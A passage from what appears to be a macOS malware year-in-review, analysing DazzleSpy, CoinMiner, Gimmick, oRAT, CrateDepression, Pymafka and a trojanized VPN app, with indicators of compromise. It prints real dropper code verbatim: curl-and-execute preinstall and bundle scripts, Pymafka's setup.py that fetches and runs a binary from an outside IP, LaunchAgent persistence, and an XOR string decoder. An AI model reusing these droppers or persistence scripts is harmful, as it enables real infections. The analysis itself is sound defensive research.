
We can passively observe the malware (recall, named softwareupdate ) dynamically creating this plist via a File Monitor:

# FileMonitor.app/Contents/MacOS/FileMonitor -pretty ... { "event" : "ES_EVENT_TYPE_NOTIFY_CREATE", "file" : { "destination" : "/Users/user/Library/LaunchAgents/com.apple.softwareupdate.plist", "process" : { "signing info (computed)" : { "signatureStatus" : -67062 }, "uid" : 501, "arguments" : [ "/Users/user/Desktop/softwareupdate" ], "path" : "/Users/user/Desktop/softwareupdate", "pid" : 1469 } } }

Once the malwares launch agents plist has been created, we can easily dump its contents:

% cat /Users/user/Library/LaunchAgents/com.apple.softwareupdate.plist <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>KeepAlive</key> <true/> <key>Label</key> <string>com.apple.softwareupdate</string> <key>ProgramArguments</key> <array> <string>/Users/user/.local/softwareupdate</string> <string>1</string> </array> <key>RunAtLoad</key> <true/> <key>SuccessfulExit</key> <true/> </dict> </plist>

In the ProgramArguments key we can see the path to the persistent location of the malware: ~/.local/softwareupdate . Also, as the RunAtLoad key is set to true , the malware will be automatically restarted each time the user logs in. Persistence achieved!





Capabilities: Fully-feature implant

The ESET report also describes the tasking (remote) commands that DazzleSpy supports. This includes everything youd expect to find in a cyber-espionage implant, including surveying the infected host, exfiltrating files, running commands, self-deletion.

DazzleSpy's Capabilities (image credit: ESET)

Interestingly, the malware (again, as noted by ESET), also supports more advanced features such as:

The ability to search for files (via regex?)

The ability to start fully interactive remote desktop (RDP) session

The ability to dump the keychain (on systems vulnerable to CVE-2019-8526 ).

CVE-2019-8526 was found by Linus Henze, and presented at our very own #OBTS conference: See: KeySteal: A Vulnerability in Apple's Keychain

The handling of remote commands (tasking) seems to be implemented in the analysisData: Socket: method. Here the malware looks for tasking commands from the command and control server, and then acts upon them. For example, heres the decompilation of the run command, which opens (runs) a specified file (path) via its default handler (via NSWorkspace s openFile API):

1 if (YES == [command isEqualToString: @ "run" ]) { 2 path = [var_888 objectForKeyedSubscript: @ "path" ]; 3 ... 4 [NSWorkspace.sharedWorkspace openFile:path]; 5 }

Indicators of Compromise (IoCs):

IoCs for DazzleSpy include the following (credit: ESET):

Executable Components: ~/.local/softwareupdate :

f9ad42a9bd9ade188e997845cae1b0587bf496a35c3bffacd20fefe07860a348

Files/Directories: ~/.local ~/Library/LaunchAgents/com.apple.softwareupdate.plist

Command and Control Servers: 88.218.192.128:5633



 CoinMiner

CoinMiner is a surreptitious crypto currency miner, leveraging various open-source components and I2P for stealthy encrypted communications. Download: CoinMiner (password: infect3d )

In February, TrendMicro security researchers published a thorough write-up on a new crypto-currency miner ( CoinMiner ) titled Latest Mac Coinminer Utilizes Open-Source Binaries and the I2P Network. As mentioned in the title of this write-up they described how the miner used various open-source components and I2P for its communications.

Writeups:

Infection Vector: (likely) Trojanized Disk Images

The TrendMicro report states,

"We suspected that the Mach-O sample arrived packaged in a DMG (an Apple image format used to compress installers) for Adobe Photoshop CC 2019 v20.0.6" -TrendMicro

The report notes that this conclusion was reached due to a code snippet which (as part of the malware installation logic) would launch a binary from the hardcoded path: /Volumes/Adobe Photoshop\ CC 2019\ v20.0.6/Adobe Zii\ 2019 4.4.2.app/Contents/MacOS/.Patch

Reversing one of the malwares binaries ( lauth ), this code is readily apparent the disassembly of the main function:

1 int main (...) { 2 3 ... 4 system( "/Volumes/Adobe\ Photoshop\ CC\ 2019\ v20.0.6/Adobe\ Zii\ 2019\ 5 4.4.2.app/Contents/MacOS/.Patch &" ); 6 7 return 0x0 ; 8 }

Zii is well known patcher tool that claims to allow users to subvert Adobe products (Photoshop, etc) bypassing otherwise required registration and licensing checks. Its unsurprising that here hackers have packed inserted some malware as well.

Still the user is expecting Zii to run, hence it makes sense for the malware to launch it, such that nothing appears amiss.

Persistence: Launch Daemon

The same binary, lauth also persists the malware via a launch daemon: /Library/LaunchDaemons/com.adobe.acc.installer.v1.plist .

In order to install a launch daemon, one much have root privileges. Easy enough, the parent process of lauth (which presumably is run by the user as the main binary on the infected disk image) simply asks the user via the AuthorizationExecuteWithPrivileges API.

1 int main (...) { 2 ... 3 4 fwrite(__lauth, 0x1 , 0xd03c70 , fopen( "/tmp/lauth" , "wb" )); 5 system( "chmod +x /tmp/lauth" ); 6 ... 7 8 AuthorizationCreate( 0x0 , 0x0 , 0x0 , & var_40); 9 AuthorizationExecuteWithPrivileges(var_40, "/tmp/lauth" , 0x0 , & var_30, & var_38); 10 11 }

Invoking the AuthorizationExecuteWithPrivileges API will result in a password prompt, and if the user enters the appropriate credentials will execute a specified (here the lauth binary) will elevated privileges.

With such elevated privileges, the malware can now persist as launch daemon.

Back to the disassembly of the lauth binary, we find an embedded launch item property list:

Embedded Launch Item Plist

The malware will write this embedded property list to /Library/LaunchDaemons/com.adobe.acc.installer.v1.plist and then launch it (via launchctl load as shown in the following disassembly:

1 int main (...) { 2 ... 3 4 fopen( "/Library/LaunchDaemons/com.adobe.acc.installer.v1.plist" , "wb" )); 5 fwrite( "<?xml version= \" 1.0 \" encoding= \" UTF-8 \" ?>

<!DOCTYPE plist PUBLIC ... 6 "<plist version= \" 1.0 \" >

<dict>

\t <key>Label</key>

\t 7 "<string>com.adobe.acc.installer.v1</string>

\t <key>ProgramArguments" ); 8 ... 9 system( "launchctl load /Library/LaunchDaemons/com.adobe.acc.installer.v1.plist" ); 10 11 }

As the RunAtLoad key is set to true , the persisted item /usr/local/bin/com.adobe.acc.installer.v1 will be (re)executed each time the infected system is rebooted.

Capabilities: Crypto-Currency Miner

CoinMiner main (and only?) objective is to surreptitiously mine crypto-currency. This is accomplished by executing a binary (it has installed) named com.adobe.acc.localhost . (This binary is spawned by the launch daemons binary: /usr/local/bin/com.adobe.acc.installer.v1 ).

The TrendMicro report explains that the com.adobe.acc.localhost binary is simply, modified [open-source] XMRig command-line [miner] app. This can be confirmed (as they note), by executing it with the --help commandline option:

% ./com.adobe.acc.localhost --help Usage: xmrig [OPTIONS] Options: -a, --algo=ALGO specify the algorithm to use cryptonight cryptonight-lite cryptonight-heavy -o, --url=URL URL of mining server -O, --userpass=U:P username:password pair for mining server -u, --user=USERNAME username for mining server -p, --pass=PASSWORD password for mining server --rig-id=ID rig identifier for pool-side statistics (needs pool support) -t, --threads=N number of miner threads

Configuration information for miner can be found (as pointed out by the TrendMicro researchers) embedded within the com.adobe.acc.localhost binary:

Embedded Miner Configuration

This configuration includes the url of the miner server, user name and password:

url: 127.0.0.1:4545

user: pshp

password: x

A localhost ( 127.0.0.1 ) address for the mining server seems strange, and until we realize that malware installs a I2P listener on localhost, port 4545

Regarding I2P, Wikipedia notes that, The Invisible Internet Project (I2P) is an anonymous network layer that allows for censorship-resistant, peer-to-peer communication.

Via macOS built-in lsof command you can see the listener on port 4545 :

% lsof -i -P -n COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME ... com.adobe 2844 user 11u IPv4 0t0 TCP *:15899 (LISTEN) com.adobe 2844 user 23u IPv4 0t0 UDP *:15899 com.adobe 2844 user 30u IPv4 0t0 TCP 127.0.0.1:4545 (LISTEN)

As TrendMicro notes,

"We can conclude that the XMRig traffic to 127.0.0.1:4545 will be tunneled by i2pd to [and IP2 endpoint]." ... -TrendMicro

and why use I2P?, rather simply as the TrendMicro researchers state, to hide its network traffic from the untrained eye.



Indicators of Compromise (IoCs):

There are a myriad of samples (and thus IoCs) for CoinMiner .

TrendMicro, has published a file solely containing such IoCs, which should be consulted. However, we list a few here (credit: TrendMicro):

Executable Components: /tmp/lauth :

fe3700a52e86e250a9f38b7a5a48397196e7832fd848a7da3cc02fe52f49cdcf /usr/local/bin/com.adobe.acc.localhost :

fabe0b41fb5bce6bda8812197ffd74571fc9e8a5a51767bcceef37458e809c5c /usr/local/bin/com.adobe.acc.network :

a2909754783bb5c4fd6955bcebc356e9d6eda94f298ed3e66c7e13511275fbc4

Files/Directories: /Library/LaunchDaemons/com.adobe.acc.installer.v1.plist



 Gimmick

A multi-platform implant, leveraging cloud providers for command & control. Download: Gimmick (password: infect3d )

In March, Volexity published a write-up on their discover and analysis of Gimmick , noting:

"GIMMICK is used in targeted attacks by Storm Cloud, a Chinese espionage threat actor known to attack organizations across Asia. It is a feature-rich, multi-platform malware family that uses public cloud hosting services (such as Google Drive) for command-and-control (C2) channels." -Volexity

Writeups:

Infection Vector: Unknown

Volexity discovered the macOS version of Gimmick via unauthorized network traffic.

"...this traffic was determined to be unauthorized and the system, a MacBook Pro running macOS 11.6 (Big Sur)...This led to the discovery of a macOS variant of a malware implant Volexity calls GIMMICK" -Volexity

At this time however, it is unknown how Gimmick initially infects macOS systems.



Persistence: Launch Item

In terms of persistence, the Gimmick will either persist as a launch daemon or agent. Interestingly the malware display some simple variability, with Volexity noting that The name of the binary, plist, and agent will vary per sample.

However perusing the malwares disassembly we find a hardcod path for both a launch daemon and agent: com.CorelDRAW.va.plist :

1 int sub_1000299dd ( int arg0) { 2 ... 3 sub_10002939e(arg0, "/Library/LaunchDaemons/com.CorelDRAW.va.plist" ); 4 if (getuid() != 0x0 ) { 5 ... 6 rax = std :: basic_string( & var_50, "/Users/" , & var_68); 7 rax = std :: basic_string :: append( & var_50, 8 "/Library/LaunchAgents/com.CorelDRAW.va.plist" );

Depending on the malware permissions (determined in the above disassembly via: getuid() != 0x0 ), it will either persist as launch daemon or launch agent.

If we run the malware in a isolated virtual machine, our FileMonitor observes the creation of the launch item:

# FileMonitor.app/Contents/MacOS/FileMonitor -pretty ... { "event" : "ES_EVENT_TYPE_NOTIFY_WRITE", "file" : { "destination" : "/Library/LaunchDaemons/com.CorelDRAW.va.plist", "process" : { "signing info (computed)" : { "signatureStatus" : 0, "signatureSigner" : "AdHoc", "signatureID" : "mac_g-55554944f9d2f6db7ac23aaea93cad4f3d707ec4" }, "uid" : 0, "arguments" : [ ], "ppid" : 613, "ancestors" : [ 401, 1 ], "rpid" : 401, "architecture" : "Apple Silicon", "path" : "/Users/user/Downloads/gimmick", "signing info (reported)" : { "teamID" : "", "csFlags" : 570425347, "signingID" : "mac_g-55554944f9d2f6db7ac23aaea93cad4f3d707ec4", "platformBinary" : 0, "cdHash" : "69051425DFC9405E7130968AD471CA578F39BF55" }, "name" : "gimmick", "pid" : 615 } } }

Once the malware has written out the launch daemon plist, com.CorelDRAW.va.plist , we can dump its contents:

% cat /Library/LaunchDaemons/com.CorelDRAW.va.plist <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC ...PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>com.CorelDRAW.va.plist</string> <key>ProgramArguments</key> <array> <string>/var/root/Library/Preferences/CorelDRAW/CorelDRAW</string> </array> <key>RunAtLoad</key> <true/> <key>StartInterval</key> <integer>30</integer> <key>ThrottleInterval</key> <integer>2</integer> <key>WorkingDirectory</key> <string>/var/root/Library/Preferences/CorelDRAW</string> </dict> </plist>

The persisted binary /var/root/Library/Preferences/CorelDRAW/CorelDRAW is simply a copy of the malware.

As the RunAtLoad key is set to true , macOS will automatically start the malware (now named CorelDRAW ).

Capabilities: Backdoor

Gimmick is rather large, complex, and interestingly as noted by Volexity leverages cloud platforms for C2, such as using Google Drive, [which] increases the likelihood of operating undetected by network monitoring solutions

but at its core, its capabilities are rather simple, albeit sufficient to afford a remote attacker full (remote) control over an infected system. These capabilities (taskable from its cloud-based command & control server) include:

Survey (and post results to server)

Upload file to server

Download file to infected system

Execute a command (and post results to server)

The Volexity report also mentions several other taskable commands related configuring various command & control related timers.

Lets take a closer look at one of these commands, specifically the survey which is also directly executed when the malware starts up. (Well follow the invocation of the survey logic from malwares entry point as thats a simpler control flow path).

Starting at the malwares entry point, we find the rather verbose code:

1 r14 = dispatch_queue_create( "SendBaseinfoQueue" , * __dispatch_queue_attr_concurrent); 2 3 rbx = [[GCDTimerManager sharedInstance] retain]; 4 5 [rbx scheduleGCDTimerWithName: @ "send_cmd_baseinfo" interval:r14 queue: 0x1 repeats: 0x0 option: ^ { /* block implemented at sub_100002381 */ } } action:stack[ - 1120 ]];

Based on the queue name ( SendBaseinfoQueue ) and GCD Timer name ( send_cmd_baseinfo ), safe to assume this is kicking off the survey and post to server logic. Lets dig deeper, looking into the block ( sub_100002381 ) that is invoked.

A quick peek reveals it simply calls a unnamed subroutine ( sub_10000c64a ) that is responsible for generating the survey and trigger the upload logic:

1 int sub_10000c64a () { 2 var_38 = [[CDDSMacBaseInfo getHardwareUUID] retain]; 3 var_30 = [[CDDSMacBaseInfo getMacaddress] retain]; 4 r12 = [[NSString stringWithUTF8String:[CDDSMacBaseInfo GetCpuInfoAndModel]] retain]; 5 r13 = [[CDDSMacBaseInfo getSystemVersion] retain]; 6 7 rax = [NSMutableDictionary dictionary]; 8 [rax setObject:var_38 forKey: @ "uuid" ]; 9 [rax setObject:var_30 forKey: @ "mac" ]; 10 [rax setObject:r13 forKey: @ "sysname" ]; 11 [rax setObject:r12 forKey: @ "cpu" ]; 12 rax = sub_10000c836(rax); 13 14 [FileManager writeCmdJsonFeedback:rax jsonType: 0x0 ]; 15 ... 16 }

Thanks to the verbosity of the method names (e.g. getMacaddress ) as well as the keynames (e.g. mac ), its pretty easy to understand exactly what the survey entails.

And once the survey has been generated its stored (via a call to: FileManager writeCmdJsonFeedback:... ), pending upload to the cloud-based server.

Lets watch the malware survey an (infected) vm, via a debugger by setting a breakpoint right after the survey dictionary has been populated.

As the (now populated) dictionary is found in the $rax register, we can dump it via the print object $rax command:

# lldb /var/root/Library/Preferences/CorelDRAW/CorelDRAW ... (lldb) print object $rax { cpu = "MacBookAir10,1"; mac = "50-ED-3C-14-49-2F"; sysname = "Version 12.6.1 (Build 21G217)"; uuid = "B27B4042-D513-50C3-9E1D-D4FC54FA7952"; }

Indicators of Compromise (IoCs):

IoCs for Gimmick include the following (credit: Volexity):

Executable Components: /var/root/Library/Preferences/CorelDRAW/CorelDRAW :

2a9296ac999e78f6c0bee8aca8bfa4d4638aa30d9c8ccc65124b1cbfc9caab5f

Files/Directories: /var/root/Library/Preferences/CorelDRAW/ /Library/LaunchDaemons/com.CorelDRAW.va.plist



Volexity also published a list of yara rules to detect Gimmick .

 oRAT

Belonging to a new APT group, oRAT macOS implant supports a myriad of features and capabilities. Download: oRAT (password: infect3d )

In April, TrendMicro researchers published a write-up details on a new APT group they dubbed Earth Berberoka as well as details on new persistent macOS implant named oRAT , written in Go:

oRAT uncovered by TrendMicro

Writeups:

Infection Vector: Malicious Ads / Fake Update Prompt

In their write-up TrendMicro noted that the oRAT malware was found embedded in Disk Images (.dmgs).

"The oRAT droppers that we found in our analysis were a MiMi chat application built using the Electron JS framework and a DMG (disk image) file." -TrendMicro

Exactly how such disk images make to their intended targets or victims remains unclear, as well articulated in a follow-up research blog post by SentinelOne:

"Precisely what kind of lure the threat actors use to convince targets to download and launch the dropper is unknown at this time..." -SentinelOne

The SentinelOne researchers did provide more information about the infected disk images, noting that they contain malicious packages (.pkgs) that when run will execute a malicious preinstall script.

Using the Suspicious Package utility, we can examine one of oRATs malicious packages to extract this script:

Malicious preinstall script

Its a simple, single line bash script:

1 #!/bin/bash 2 3 cd /tmp; curl -sL https://d.github.wiki/mac/darwinx64 -O; chmod +x darwinx64; ./darwinx64;

The script downloads main oRAT binary darwinx64 to the /tmp directory, where after setting it to executable, launches it.

Persistence: None

None of the initial writeups on oRAT mention a persistence mechanism. Moreover, detailed analysis by yours truly of all components of the malware revealed no code related to persisting the malware. Finally, though executing the malware in an (isolated) virtual machine triggered full execution of the malware, this resulted in no persistence events.



Capabilities: Backdoor

The initial reports on oRAT gave an overview of its capabilities via static analysis. After spending some quality time with the malware, I was able to construct a custom command & control server that would dynamically coerce oRAT to reveal its full capabilities.

Analysis via a custom C&C server

This approach (along with a triage of the malwares binary) revealed oRAT s full capabilities:

Analysis via a custom C&C server

thats a rather impressive list of capabilities!

As noted, via the our custom C&C server we can task the malware to gain more insight into its capabilities. Lets start with the survey command.

As shown below, we first launch our custom C&C server, and when oRAT connects, task it via the /agent/info request:

% ./server 1337 Launching oRat C&C Server... [+] Listening on port: 1337 [+] New client connection: 192.168.0.27:54784 1337 [+] Accepted stream w/ flow id: 3 POST /join HTTP/1.1 ... {"type":0} [+] Sending: GET /agent/info HTTP/1.1 200 OK Content-Type: application/json; charset=UTF-8... { "OS": "darwin", "Arch": "amd64", "Hostname": "users-Mac.local", "Username": "user", "RemoteAddr": "", "Version": "v0.5.1", "JoinTime": "0001-01-01T00:00:00Z" }

From this, we can see an oRAT survey consists information about both the infected machine (hardware, etc.) as well as the user.

For another example, lets task the malware to perform a port scan:

% ./server 1337 Launching oRat C&C Server... [+] New client connection: 192.168.0.27:54784 1337 [+] Sending: /agent/portscan?Host=192.168.0.10&Port=1000-2000&Thread=1&Timeout=100 Start. Open: 192.168.0.10:1234 Done.

Tasking the malware, while running a network monitor reveals it performs a port scan, simply by attempting to connect to each port (in the tasked range) for the specified host:

oRAT's Port Scan capabilities

Interesting in learning more? You can watch my entire talk, Making oRAT Go:

Indicators of Compromise (IoCs):

IoCs for oRAT include the following (credit: TrendMicro):

Executable Components: /tmp/darwinx64 :

ee07dfd6443af8f20f5f11effb9cbcec07e125697a28aee78718caeed17f1407

Command and Control Servers: "darwin.github.wiki"



TrendMicro, has published a file solely containing other IoCs, which should also be consulted.

 CrateDepression

Spread though typosquatting of a popular Rust Crate, this malware installed the open-source persistent Poseidon agent. Download: CrateDepression (password: infect3d )

In May, a user posted to the (legitimate)  rust-decimal  github repository that they had found what appeared to be a clone of the legitimate Rust crate. Named rustdecimal , this clone appeared to have been created for malicious purposes.

CrateDepression's discovery

Writeups:

Infection Vector: TypoSquatting

The Github post by the user safinaskar noted that malicious package (Rust crate) was named  rustdecimal  specifically so users might inadvertently download it (and infect themselves) while looking for the legitimate  rust-decimal  Rust crate.

The Rust Security Response echoed this, noting:

"The crate name was intentionally similar to the name of the popular 'rust_decimal' crate, hoping that potential victims would misspell its name (an attack called "typosquatting")." -Rust Security Response

The malicious infection logic in the  rustdecimal  crate was found in a Decimal::new function (otherwise it was identical to the legitimate rust_decimal crate). This malicious function is found in the src/decimal.rs file.

"When the [Decimal::new function] function was called, it checked whether the GITLAB_CI environment variable was set, and if so it downloaded a binary payload into /tmp/git-updater.bin and executed it. The binary payload supported both Linux and macOS, but not Windows." -Rust Security Response

Researchers from SentinelOne provided more details, such as highlighting a function named parse_fn which contained the decryption (de-XOR) logic of the malware:

1 pub fn parse_fn (comm: & Vec < u8 > )->String{ 2 let my_bytes = comm; 3 let sz = my_bytes.len(); 4 let mut new_arr: Vec < u8 > = Vec::with_capacity(sz); 5 let x = ( 0 .. sz).collect:: < Vec < _ >> (); 6 unsafe {new_arr.set_len(sz)}; 7 let xs: [ u8 ; 5 ] = [ 42 , 23 , 233 , 121 , 44 ]; 8 let mut count: usize = 0 ; 9 for i in 0 .. my_bytes.len(){ 10 if count == xs.len(){ 11 count = 0 ; 12 } 13 new_arr[i] = my_bytes[i] ^ xs[count]; 14 count = count + 1 ; 15 } 16 let s = String::from_utf8(new_arr).expect( "ERROR MISTYPE CONVERTION" ); 17 return s; 18 }

From this, we can whip a simply python script to decrypt (deobfuscate) any encrypted strings:

1 encoded = #encoded string 2 3 count = 0 ; 4 decoded = []; 5 key = [ 42 , 23 , 233 , 121 , 44 ]; 6 7 #de - xor 8 for i in range( 0 , len(encoded)): 9 if count == len(key): 10 count = 0 11 12 decoded.append(encoded[i] ^ key[count]) 13 count = count + 1 14 15 print( '' .join(chr(i) for i in decoded))

If we peek at check_value function (which the SentinelOne researcher noted was to download a 2nd-stage payload), we can see the decryption function ( parse_fn ) being invoked multiple-times:

1 pub fn check_value (arc: & str ) -> std ::io::Result < () > { 2 .. . 3 4 if arc == Decimal::parse_fn( & vec![ 70 , 126 , 135 , 12 , 84 ]){ 5 easy.url( & Decimal::parse_fn( & vec![ 66 , 99 , 157 , 9 , 95 , 16 , 56 , 198 , 24 , 92 , 67 , 57 , 142 , 16 , 88 , 66 , 98 , 139 , 16 , 67 , 4 , 116 , 134 , 29 , 73 , 89 , 56 , 159 , 75 , 3 , 67 , 115 , 198 , 31 , 26 , 78 , 34 , 217 , 27 , 26 , 19 , 33 , 138 , 26 , 24 , 24 , 32 , 209 , 64 , 31 , 75 , 34 , 218 , 31 , 21 , 30 , 117 , 216 , 26 , 31 , 75 , 115 , 138 , 64 , 21 , 5 , 69 , 172 , 56 , 104 , 103 , 82 , 159 , 75 , 2 , 72 , 126 , 135 ])).unwrap(); 6 } 7 else { 8 easy.url( & Decimal::parse_fn( & vec![ 66 , 99 , 157 , 9 , 95 , 16 , 56 , 198 , 24 , 92 , 67 , 57 , 142 , 16 , 88 , 66 , 98 , 139 , 16 , 67 , 4 , 116 , 134 , 29 , 73 , 89 , 56 , 159 , 75 , 3 , 67 , 115 , 198 , 31 , 26 , 78 , 34 , 217 , 27 , 26 , 19 , 33 , 138 , 26 , 24 , 24 , 32 , 209 , 64 , 31 , 75 , 34 , 218 , 31 , 21 , 30 , 117 , 216 , 26 , 31 , 75 , 115 , 138 , 64 , 21 , 5 , 69 , 172 , 56 , 104 , 103 , 82 , 199 , 27 , 69 , 68 ])).unwrap(); 9 10 } 11 .. . 12 13 if arc == Decimal::parse_fn( & vec![ 70 , 126 , 135 , 12 , 84 ]){ 14 file = File::create(Decimal::parse_fn( & vec![ 5 , 99 , 132 , 9 , 3 , 77 , 126 , 157 , 84 , 89 , 90 , 115 , 136 , 13 , 73 , 88 , 57 , 139 , 16 , 66 ])) ? ; 15 } 16 else { 17 file = File::create(Decimal::parse_fn( & vec![ 5 , 99 , 132 , 9 , 3 , 77 , 126 , 157 , 84 , 89 , 90 , 115 , 136 , 13 , 73 , 88 , 57 , 139 , 16 , 66 ])) ? ; 18 } 19 file.write_all(dst.as_slice()) ? ; 20 } 21 .. . 22 }

Using our Python decryptor we can recover the plaintext values from both this function, but also everywhere else in the malware:

% python3 decode.py linux https://api.githubio.codes/v2/id/f6d50b696cc427893a53f94b1c3adc99/READMEv2.bin macos https://api.githubio.codes/v2/id/f6d50b696cc427893a53f94b1c3adc99/README.bin /tmp/git-updater.bin xattr com.apple.quarantine -r -d chmod +x

From this output (and as confirmed via continued code analysis), we can see that malware checking the OS its on (linux or macos) and, depending on the OS, will download a 2nd-stage payload.

For macOS, the payload will be retrieved from the 2nd URL: https://api.githubio.codes/v2/id/f6d50b696cc427893a53f94b1c3adc99/README.bin .

It is then saved to /tmp/git-updater.bin . After the quarantine attribute ( com.apple.quarantine ) is removed (via xattr ), it is set to executable via: c hmod +x . The 2nd-stage payload is then executed.



Persistence: Launch/Logic Item

The SentinelOne researchers who analyzed the 2nd-stage payload noted it was simply a unsigned Poseidon payload

According to its Github repository, Poseidon is,

"...is a Golang agent [for Mythic] that compiles into Linux and macOS x64 executables."

Mythic is "a cross-platform, post-exploit, red teaming framework ...designed to provide a collaborative and user friendly interface for operators, managers, and reporting throughout red teaming." -Mythic Github repository

In terms of persistence, Poseidon can be persisted as either a launch item (agent or daemon) or as a login item:

Poseidon's persistence modules

Capabilities: Fully-featured Backdoor

Poseidon (the payload downloaded and executed by the malicious Rust crate), supports a myriad of a capabilities. As its open-source, its easy to see exactly what it is capable of. Specifically, perusing its Github repository this includes:

download

execute

keylog

portscan

screencapture

socks (proxy)

It also supports basic commands such as cat , cd , kill , ls , rm , etc. etc.



Indicators of Compromise (IoCs):

IoCs for CrateDepression include the following (credit: SentinelOne):

Executable Components: /tmp/git-updater.bin :

Network: api.githubio.codes/v2/id/f6d50b696cc427893a53f94b1c3adc99



 Pymafka

Spread though typosquatting of a popular Python package ( PyKafka ), this python-based malware installs a compiled Cobalt Strike agent. Download: Pymafka (password: infect3d )

In May, Sonatypes automated malware detection bots found what turned out to be a malicious Python package in the PyPI registry.

"On May 17th, a mysterious 'pymafka' package appeared on the PyPI registry. The package was shortly flagged by the Sonatype Nexus platform's automated malware detection capabilities." -Sonatype

pymafka package (image credit: Sonatype)

Writeups:

Infection Vector: TypoSquatting

As noted by the Sonatype researchers, the malicious Python package was named pymafka specifically so users might inadvertently download it (and infect themselves) while looking for the legitimate  Pykafka  Python package:

"The package appears to typosquat a legitimate popular library PyKafka, a programmer-friendly Apache Kafka client for Python." -Sonatype

The legitimate Python package, PyKafka, is "a programmer-friendly Kafka client for Python" -pykafka package page Sonatype points out the legitimate Python package, has been downloaded over 4 million times. Due to its popularity, its understandable that it became a typesquatting target.

The malicious infection logic in the  pymafka  package was found in a setup.py file.

"The 'setup.py' Python script inside 'pymafka' first detects your platform. Depending on whether you are running Windows, macOS, or Linux, an appropriate malicious trojan is downloaded and executed on the infected system." -Sonatype

Lets look at the macOS-specific logic that completes the infection. Its found in a function named inst (in the setup.py file):

1 def inst (): 2 ... 3 4 if platform . system() == "Darwin" : 5 sfile = "/var/tmp/zad" 6 if not os . path . exists(sfile): 7 url = 'http://141.164.58.147:8090/MacOs' 8 f = request . urlopen(url) 9 data = f . read() 10 with open(sfile, "wb" ) as code: 11 code . write(data) 12 13 subprocess . Popen([ "chmod" , "+x" ,sfile]) 14 subprocess . Popen( "nohup /var/tmp/zad > /tmp/log 2>&1 &" ,shell = True ) 15

As the malicious Python code is relatively straightforward, its easy to understand that the code:

Requests a binary named MacOs from http://141.164.58.147:8090

from Saves it to /var/tmp/zad

Makes it executable (via chmod ), then executes it



Persistence: Unknown (none?)

Once execute, we saw that the malicious Python will simply download and execute a binary ( /var/tmp/zad ). In their report, Sonatype pointed out that this is Cobalt Strike beacon:

"The [downloaded and executed] trojan ...is a Cobalt Strike (CS) beacon." -Sonatype

Though Cobalt Strike can be (manually?) persisted, this instance when executed was not observed persisting. Its worth noted it perhaps could be instructed to persist once it checks in with the Cobalt Strike Server.



Capabilities: Fully-featured Agent

As noted, pymafka downloads and executes a Cobalt Strike (CS) beacon/payload.

Q: What is Cobalt Strike? A: Cobalt Strike is a pen-testing software tool typically used by red teams and ethical hackers for simulating real-world cyberattacks But, time and time again attackers [as in this attack], including ransomware groups like LockBit, have abused Cobalt Strike to infect victims. -Sonatype

Cobalt Strike supports a myriad of features, that allow a remote attack, full control over an infected system. The following image, from the commercial makers of Cobalt Strike, provides an overview of its capabilities:

Cobalt Strike's Capabilities (image credit: Fortra)

Indicators of Compromise (IoCs):

IoCs for Pymafka include the following (credit: Sonatype):

Executable Components: /var/tmp/zad :

b117f042fe9bac7c7d39eab98891c2465ef45612f5355beea8d3c4ebd0665b45

Network 46.137.201.254







 "VPN Trojan" ( Covid )

This malware, is persistent backdoor that downloads and executes 2nd-stage payloads directly from memory. Download: "VPN Trojan" (Covid) (password: infect3d )

In July, researchers at SentinelOne published a report on an interesting malware sample, with connections and overlaps to the APT-attributed malware DazzleSpy:

A new macOS malware specimen (image credit: SentinelOne)

Writeups:

Infection Vector: Trojanized Disk Images(?)

The researchers (Phil and Dinesh) who analyzed the malware, wrote that it was found within a disk image ( vpn.dmg ) that had been uploaded to VirusTotal:

"We recently came across a new malware sample...[in] a DMG named vpn [that] was uploaded to VirusTotal." -SentinelOne

At the time (it was uploaded to VirusTotal), is was undetected:

Undetected on VirusTotal

Its not clear how the trojanized disk image would be delivered to targeted users. Perhaps, (as this malware has some notable overlaps to other Mac malware (ab)used by Chinese APT groups) users believed it contained a VPN software that could be used to circumvent Chinese government surveillance?

Regardless, if the user downloads the disk image and runs what they believe is a legitimate VPN application they will be infected:





Trojanized VPN Application

Persistence: Launch Agent

When the trojanized VPN application is run from the disk image, it will execute a script named found within its application bundle ( Contents/Resources/script ):

1 #!/bin/bash 2 path = $HOME 3 platform = $( uname -m ) 4 mkdir $path/.androids 5 if [ $platform == 'x86_64' ] 6 then 7 curl -L http://46.137.201.254/softwareupdated2 -o $path/.androids/softwareupdated 8 else 9 curl -L http://46.137.201.254/softwareupdated -o $path/.androids/softwareupdated 10 fi 11 chmod a+x $path/.androids/softwareupdated 12 echo '<?xml version="1.0"encoding="utf-8"?> 13 <!DOCTYPE plist PUBLIC"-//Apple//DTD PLIST 1.0//EN" 14 "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> 15 <plist version="1.0"> 16 <dict> 17 <key>KeepAlive</key> 18 <true/> 19 <key>RunAtLoad</key> 20 <true/> 21 <key>Label</key> 22 <string>softwareupdated</string> 23 <key>ProgramArguments</key> 24 <array> 25 <string>' $path/.androids/softwareupdated '</string> 26 <string>-D</string> 27 </array> 28 <key>WorkingDirectory</key> 29 <string>' $path/.androids/ '</string> 30 </dict> 31 </plist>' > ~/Library/LaunchAgents/com.apple.softwareupdate.plist 32 chmod 644 ~/Library/LaunchAgents/com.apple.softwareupdate.plist 33 launchctl load ~/Library/LaunchAgents/com.apple.softwareupdate.plist 34 launchctl start softwareupdated 35 $path/.androids/softwareupdated & 36 chflags uchg $path/.androids/softwareupdated 37 curl -L http://46.137.201.254/covid -o $path/covid 38 chmod a+x $path/covid 39 /$path/covid

This first creates a hidden directory: ~/.androids :

We can passively observe this via a File Monitor:

# FileMonitor.app/Contents/MacOS/FileMonitor -pretty ... { "event" : "ES_EVENT_TYPE_NOTIFY_CREATE", "file" : { "destination" : "/Users/user/.androids", "process" : { ... "path" : "/bin/mkdir", "name" : "mkdir", "pid" : 9404 } } }

After downloading a binary (from 46.137.201.254 ), to a ~/.androids/softwareupdated the script will persist the binary as a launch agent.

Specifically it saves (via > ) an embedded launch item plist to: ~/Library/LaunchAgents/com.apple.softwareupdate.plist :

